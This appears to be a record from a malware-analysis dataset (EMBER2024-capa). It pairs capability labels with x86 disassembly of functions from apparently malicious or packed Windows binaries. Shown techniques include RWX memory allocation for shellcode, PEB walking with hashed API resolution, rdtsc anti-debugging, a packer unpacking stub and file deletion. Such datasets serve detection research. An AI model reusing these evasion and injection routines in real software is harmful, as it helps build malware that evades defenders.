joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4048b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
call fcn.00404882
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.00403520
add esp, 0x10
test eax, eax
jne 0x4048e0
or eax, 0xffffffff
leave
ret
mov eax, dword [ebp - 0xc]
push ebx
mov ebx, dword [eax + 0x38]
and dword [ebp - 0x30], 0
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
push 0x1c
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
test eax, eax
jne 0x404914
or eax, 0xffffffff
jmp 0x4049a5
cmp dword [ebp - 0x1c], 1
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, 0x3000
je 0x40492c
cmp dword [ebp - 0x24], 0
jne 0x40493c
push pe_nt_image_headers32
push edi
push ebx
push dword [ebp - 4]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x404984
mov ecx, dword fs:[0x18]
and dword [ecx + 0x34], 0
push pe_nt_image_headers32
push edi
mov eax, 0xbad0000
push ebx
mov dword [ebp - 8], eax
push eax
jmp 0x40497b
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0
je 0x404971
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0x1e7
jne 0x4049a9
add dword [ebp - 8], ebx
push pe_nt_image_headers32
push edi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call esi
test eax, eax
je 0x404956
mov ecx, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 4]
test ecx, ecx
je 0x404992
mov dword [ecx], esi
push ebx
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.004034ca
add esp, 0x10
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret
or eax, 0xffffffff
jmp 0x4049a4
Function at 0x405332
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x78740534
push eax
call fcn.00401189
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4053d4
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [edx], 0x65006b
add edx, 4
mov dword [edx], 0x6e0072
add edx, 4
mov dword [edx], 0x6c0065
add edx, 4
mov dword [edx], 0x320033
add edx, 4
mov dword [edx], 0x64002e
add edx, 4
mov dword [edx], 0x6c006c
add edx, 4
and dword [edx], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push 0x18
mov dword [ebp - 0x18], eax
pop eax
mov word [ebp - 0x1c], ax
push 0x1a
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
and eax, 0
push eax
push eax
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x457b24
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c0
and dword [ebp - 0x20], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x48], 0x5c3f3f5c
mov byte [ebp - 0x44], 0
mov dword [ebp - 0xac], eax
call fcn.00457b58

Function at 0x457eab
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x78740534
push eax
call fcn.0045801d
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x457f4d
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [edx], 0x65006b
add edx, 4
mov dword [edx], 0x6e0072
add edx, 4
mov dword [edx], 0x6c0065
add edx, 4
mov dword [edx], 0x320033
add edx, 4
mov dword [edx], 0x64002e
add edx, 4
mov dword [edx], 0x6c006c
add edx, 4
and dword [edx], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push 0x18
mov dword [ebp - 0x18], eax
pop eax
mov word [ebp - 0x1c], ax
push 0x1a
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
and eax, 0
push eax
push eax
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x457f52
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
mov edx, eax
shr edx, 0x10
add ecx, edi
test dx, dx
jne 0x457f88
movzx eax, ax
sub eax, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
pop edi
leave
ret 8
mov edx, dword [ecx + 0x24]
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ecx + 0x20]
add esi, edi
add edx, edi
cmp dword [ecx + 0x18], 0
jbe 0x458005
movsx ebx, byte [eax]
mov dword [ebp - 0x10], ebx
add edi, dword [esi]
mov dword [ebp - 0xc], eax
movsx eax, byte [edi]
sub eax, dword [ebp - 0x10]
jne 0x457fd7
sub edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0xc]
mov bl, byte [ebx]
mov dword [ebp - 0x14], edi
test bl, bl
je 0x457fd7
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
inc edi
mov bl, byte [edi]
movsx eax, byte [eax + edi]
mov dword [ebp - 0xc], edi
movsx edi, bl
sub eax, edi
je 0x457fbc
test eax, eax
js 0x457fe4
jle 0x457fe2
xor eax, eax
inc eax
test eax, eax
je 0x457ffd
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 8]
add esi, 4
add edx, 2
cmp eax, dword [ecx + 0x18]
mov eax, dword [ebp + 0xc]
jb 0x457fa4
jmp 0x458008
movzx eax, word [edx]
mov edi, dword [ebp + 8]
jmp 0x458008
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
pop esi
pop ebx
cmp edx, dword [ecx + 0x18]
jne 0x457f78
xor eax, eax
jmp 0x457f83

Function at 0x45801d
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add ecx, ebx
test ax, ax
jne 0x45804f
movzx eax, word [ebp + 0xc]
sub eax, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
pop ebx
leave
ret
and dword [ebp - 4], 0
push esi
mov esi, dword [ecx + 0x20]
push edi
mov edi, dword [ecx + 0x24]
add esi, ebx
add edi, ebx
cmp dword [ecx + 0x18], 0
jbe 0x4580a4
mov eax, dword [esi]
and dword [ebp - 8], 0
add eax, ebx
mov dl, byte [eax]
test dl, dl
je 0x45808b
mov ebx, dword [ebp - 8]
movsx edx, dl
rol ebx, 7
xor ebx, edx
inc eax
mov dl, byte [eax]
mov dword [ebp - 8], ebx
test dl, dl
jne 0x458073
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 8], eax
je 0x4580b5
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add esi, 4
add edi, 2
cmp eax, dword [ecx + 0x18]
jb 0x458065
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
pop edi
pop esi
cmp edx, dword [ecx + 0x18]
jne 0x458041
xor eax, eax
jmp 0x45804c
movzx eax, word [edi]
jmp 0x4580a7
Function at 0x4580ba
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x4580d2
cmp dword [ebp + 8], 3
jne 0x458127
call fcn.00457eab
jmp 0x4580e1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
test eax, eax
je 0x458127
push dword [ebp + 0xc]
push eax
call fcn.0045801d
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x458127
cmp dword [ebp + 8], 3
jne 0x458127
mov eax, dword [esi]
cmp eax, 0x6c64746e
je 0x45810c
cmp eax, 0x4c44544e
jne 0x458127
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
add esi, 6
push esi
push eax
call fcn.00457f52
mov esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x45a072
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x78740534
push eax
call fcn.0045a1fc
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x45a114
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [edx], 0x65006b
add edx, 4
mov dword [edx], 0x6e0072
add edx, 4
mov dword [edx], 0x6c0065
add edx, 4
mov dword [edx], 0x320033
add edx, 4
mov dword [edx], 0x64002e
add edx, 4
mov dword [edx], 0x6c006c
add edx, 4
and dword [edx], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push 0x18
mov dword [ebp - 0x18], eax
pop eax
mov word [ebp - 0x1c], ax
push 0x1a
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
and eax, 0
push eax
push eax
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x45a119
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
mov edx, eax
shr edx, 0x10
add ecx, edi
test dx, dx
jne 0x45a14f
movzx eax, ax
sub eax, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
pop edi
leave
ret 8
mov edx, dword [ecx + 0x24]
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ecx + 0x20]
add esi, edi
add edx, edi
cmp dword [ecx + 0x18], 0
jbe 0x45a1cc
movsx ebx, byte [eax]
mov dword [ebp - 0x10], ebx
add edi, dword [esi]
mov dword [ebp - 0xc], eax
movsx eax, byte [edi]
sub eax, dword [ebp - 0x10]
jne 0x45a19e
sub edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0xc]
mov bl, byte [ebx]
mov dword [ebp - 0x14], edi
test bl, bl
je 0x45a19e
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
inc edi
mov bl, byte [edi]
movsx eax, byte [eax + edi]
mov dword [ebp - 0xc], edi
movsx edi, bl
sub eax, edi
je 0x45a183
test eax, eax
js 0x45a1ab
jle 0x45a1a9
xor eax, eax
inc eax
test eax, eax
je 0x45a1c4
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 8]
add esi, 4
add edx, 2
cmp eax, dword [ecx + 0x18]
mov eax, dword [ebp + 0xc]
jb 0x45a16b
jmp 0x45a1cf
movzx eax, word [edx]
mov edi, dword [ebp + 8]
jmp 0x45a1cf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
pop esi
pop ebx
cmp edx, dword [ecx + 0x18]
jne 0x45a13f
xor eax, eax
jmp 0x45a14a

Function at 0x45a1fc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x3c]
push esi
mov esi, dword [eax + edx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add esi, edx
test ax, ax
jne 0x45a22d
movzx eax, word [ebp + 0xc]
sub eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edx]
add eax, edx
pop esi
leave
ret
and dword [ebp - 4], 0
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x20]
add edi, edx
add ebx, edx
cmp dword [esi + 0x18], 0
jbe 0x45a265
mov ecx, dword [edi]
add ecx, edx
call fcn.0045a1e4
mov edx, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
je 0x45a276
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add edi, 4
add ebx, 2
cmp eax, dword [esi + 0x18]
jb 0x45a243
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
cmp ecx, dword [esi + 0x18]
jne 0x45a21f
xor eax, eax
jmp 0x45a22a
movzx eax, word [ebx]
jmp 0x45a268
Function at 0x45a27b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x45a293
cmp dword [ebp + 8], 3
jne 0x45a2e8
call fcn.0045a072
jmp 0x45a2a2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
test eax, eax
je 0x45a2e8
push dword [ebp + 0xc]
push eax
call fcn.0045a1fc
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x45a2e8
cmp dword [ebp + 8], 3
jne 0x45a2e8
mov eax, dword [esi]
cmp eax, 0x6c64746e
je 0x45a2cd
cmp eax, 0x4c44544e
jne 0x45a2e8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
add esi, 6
push esi
push eax
call fcn.0045a119
mov esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x45a2ed
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
xor eax, eax
push esi
push edi
xor ebx, ebx
mov byte [ebp - 0x38], bl
lea edi, [ebp - 0x37]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x24], 0x25217325
mov dword [ebp - 0x20], 0x30252173
mov word [ebp - 0x1c], 0x5838
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x18], 0x252e7525
mov dword [ebp - 0x14], 0x75252e75
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xc], 0x25
mov edi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
xor eax, eax
cld
rep stosd dword es:[edi], eax
push 0x9c480e24
push 3
mov dword [ebp - 0xd0], 0x94
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a3b9
mov dword [ebp - 0xc], esp
lea ecx, [ebp - 0xd0]
push ecx
call eax
mov esp, dword [ebp - 0xc]
cmp eax, ebx
je 0x45a3b9
mov eax, dword [ebp - 0xcc]
mov edi, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xc8]
push 0x72dc01e1
push ebx
mov dword [ebp - 0x3c], eax
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a3b9
mov dword [ebp - 0xc], esp
push edi
push esi
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x18]
push ecx
push 0x13
lea ecx, [ebp - 0x38]
push ecx
call eax
mov esp, dword [ebp - 0xc]
push 0x3def91ba
mov esi, 0x104
push 3
mov dword [ebp - 4], esi
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a3e6
mov dword [ebp - 0xc], esp
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x2d8]
push ecx
call eax
mov esp, dword [ebp - 0xc]
push 0x3bdcdff7
push 3
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a408
mov dword [ebp - 0xc], esp
push esi
lea ecx, [ebp - 0x1d4]
push ecx
call eax
mov esp, dword [ebp - 0xc]
push 0x67ecde97
push 3
mov byte [ebp - 0x1d1], bl
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a439
mov dword [ebp - 0xc], esp
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
lea ecx, [ebp - 0x1d4]
push ecx
call eax
mov esp, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
push 0x3f
pop edi
push 0x72dc01e1
push ebx
mov dword [ebp - 4], edi
call fcn.0045a27b
pop ecx
pop ecx
cmp eax, ebx
je 0x45a476
mov dword [ebp - 0xc], esp
push esi
lea ecx, [ebp - 0x2d8]
push ecx
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x24]
push ecx
mov ecx, dword [ebp + 8]
push edi
add ecx, 0x350
push ecx
call eax
mov esp, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
pop edi
pop esi
mov byte [eax + ecx + 0x350], bl
pop ebx
leave
ret
Function at 0x45a488
Capabilities:
Encode data using xor
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
test ecx, ecx
jne 0x45a49d
xor eax, eax
jmp 0x45a566
and dword [ebp - 4], 0
test ecx, ecx
je 0x45a55f
pushal
rdtsc
mov ecx, eax
shr ecx, 0x18
inc ecx
xor edi, edi
rdtsc
pop ebx
push eax
cmp ebx, 0
sub eax, edi
xor eax, ebx
add edi, eax
dec ecx
jne 0x45a4b4
mov eax, edi
mov ebx, 0x1a
xor edx, edx
div ebx
add edx, 0x41
mov esi, edx
rdtsc
pop ebx
push eax
add eax, ebx
mov ebx, 5
xor edx, edx
div ebx
cmp edx, 1
jne 0x45a4ed
add esi, 0x20
jmp 0x45a502
cmp edx, 2
jne 0x45a502
mov eax, esi
mov ebx, 0xa
xor edx, edx
div ebx
add edx, 0x30
mov esi, edx
push esi
mov esi, esp
mov edi, dword [ebp + 8]
add edi, dword [ebp - 4]
mov ecx, 1
movsb byte es:[edi], byte [esi]
pop esi
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp eax, edx
jbe 0x45a54f
mov eax, dword [ebp + 0x10]
sub eax, edx
mov edi, eax
rdtsc
pop ebx
push eax
add eax, ebx
mov ebx, edi
xor edx, edx
div ebx
cmp edx, 0
je 0x45a536
jmp 0x45a54f
xor eax, eax
push eax
mov esi, esp
mov edi, dword [ebp + 8]
add edi, dword [ebp - 4]
inc edi
mov ecx, 1
movsb byte es:[edi], byte [esi]
pop eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
popal
mov ecx, dword [ebp + 0x10]
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jb 0x45a4a9
mov eax, dword [ebp + 8]
mov byte [eax + ecx], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x92aff0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x66600d
lea edi, [esi - 0x26500d]
push edi
or ebp, 0xffffffff
jmp 0x92b012
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x92b019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x92b008
mov eax, 1
add ebx, ebx
jne 0x92b02b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x92b020
jne 0x92b03c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x92b020
xor ecx, ecx
sub eax, 3
jb 0x92b050
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x92b0c2
mov ebp, eax
add ebx, ebx
jne 0x92b05b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x92b068
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x92b08c
inc ecx
add ebx, ebx
jne 0x92b078
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x92b06d
jne 0x92b089
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x92b06d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x92b0ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x92b09d
jmp 0x92b00e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x92b0ac
add edi, ecx
jmp 0x92b00e
pop esi
mov edi, esi
mov ecx, 0x173e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x92b0ca
cmp byte [edi], 0x11
jne 0x92b0ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x92b0cf
lea edi, [esi + 0x526000]
mov eax, dword [edi]
or eax, eax
je 0x92b13e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5330d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x53312c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x92b0fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x533134]
or eax, eax
je 0x92b138
mov dword [ebx], eax
add ebx, 4
jmp 0x92b119
call dword [esi + 0x533130]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x92b16f
cmp al, 0xef
ja 0x92b162
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x92b144
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x92b151
mov ebp, dword [esi + 0x533138]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x92b1a3
sub esp, 0xffffff80
jmp 0x40c41c
Function at 0x4087f0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448f3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x464
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push dword [ebp + 8]
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4089a0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.cUhvXaFQ_YHDRblZkU
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.004038c0
test al, al
jne 0x40885c
push 0x13
push str.cUhvXaFQ_YHDRblZkU
mov ecx, esi
call fcn.00403de0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.004023d0
add esp, 4
push dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x14]
or ebx, 0xffffffff
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40889a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x408970
lea esp, [esp]
lea eax, [ebp - 0x440]
push eax
push dword [ebp + 8]
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
call fcn.00401620
test eax, eax
je 0x4089a0
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.WGlwRR30e0Axt96HgM
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.004038c0
test al, al
jne 0x40890b
push 0x13
push str.WGlwRR30e0Axt96HgM
mov ecx, esi
call fcn.00403de0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.004023d0
add esp, 4
push dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x14]
add esp, 0x10
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408946
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x46c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4088c0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x40898f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
int3